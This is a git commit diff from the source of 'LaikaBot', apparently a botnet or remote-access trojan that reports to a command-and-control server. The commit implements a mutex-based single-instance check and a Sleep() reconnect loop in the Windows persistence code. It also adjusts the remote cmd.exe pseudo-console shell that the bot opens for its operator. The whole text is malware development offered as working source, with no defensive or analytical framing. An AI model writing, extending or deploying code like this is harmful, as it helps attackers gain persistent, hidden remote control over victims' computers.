Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()

- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings

.vscode/settings.json

@@ -29,7 +29,8 @@
         "stdbool.h": "c",
         "alloca.h": "c",
         "bot.h": "c",
-        "string_view": "c"
+        "string_view": "c",
+        "lconfig.h": "c"
     },
     "cSpell.words": [
         "cnc's",

bot/src/main.c

@@ -32,7 +32,11 @@ int main(int argv, char *argc[]) {
         /* bot was killed or it threw an error */
         laikaB_freeBot(bot);
 #ifdef LAIKA_PERSISTENCE
+#ifdef _WIN32
+        Sleep(5000);
+#else
         sleep(5);
+#endif
     } while (1);
 
     laikaB_unmarkRunning();

bot/win/winpersist.c

@@ -1,13 +1,17 @@
 /* platform specific code for achieving persistence on windows */
 
 #include <windows.h>
+
 #include "persist.h"
 #include "lconfig.h"
+#include "lerror.h"
 
 /*      we want a semi-random mutex that is stable between similar builds,
 *   so we use the GIT_VERSION as our mutex :D */
 #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
 
+HANDLE laikaB_mutex;
+
 /* check if laika is running as super-user */
 bool laikaB_checkRoot() {
     return true; /* stubbed for now */
@@ -15,12 +19,19 @@ bool laikaB_checkRoot() {
 
 /* mark that laika is currently running */
 void laikaB_markRunning() {
-    /* stubbed */
+    laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX));
+
+    if (!laikaB_mutex) {
+        /* mutex doesn't exist, we're the only laika process :D */
+        laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX));
+    } else {
+        LAIKA_ERROR("Mutex already exists!\n");
+    }
 }
 
 /* unmark that laika is currently running */
 void laikaB_unmarkRunning() {
-    /* stubbed */
+    ReleaseMutex(laikaB_mutex);
 }
 
 /* try to gain persistance on machine */

bot/win/winshell.c

@@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
 
 struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
     HRESULT hr;
-    char cmd[] = "cmd.exe";
+    LPCTSTR cmd = TEXT("cmd.exe");
     struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 
     ZeroMemory(shell, sizeof(struct sLaika_shell));
@@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
     }
 
     /* launch cmd shell */
-    hr = CreateProcessA(
+    hr = CreateProcess(
         NULL,                           /* No module name - use Command Line */
         cmd,                            /* Command Line */
         NULL,                           /* Process handle not inheritable */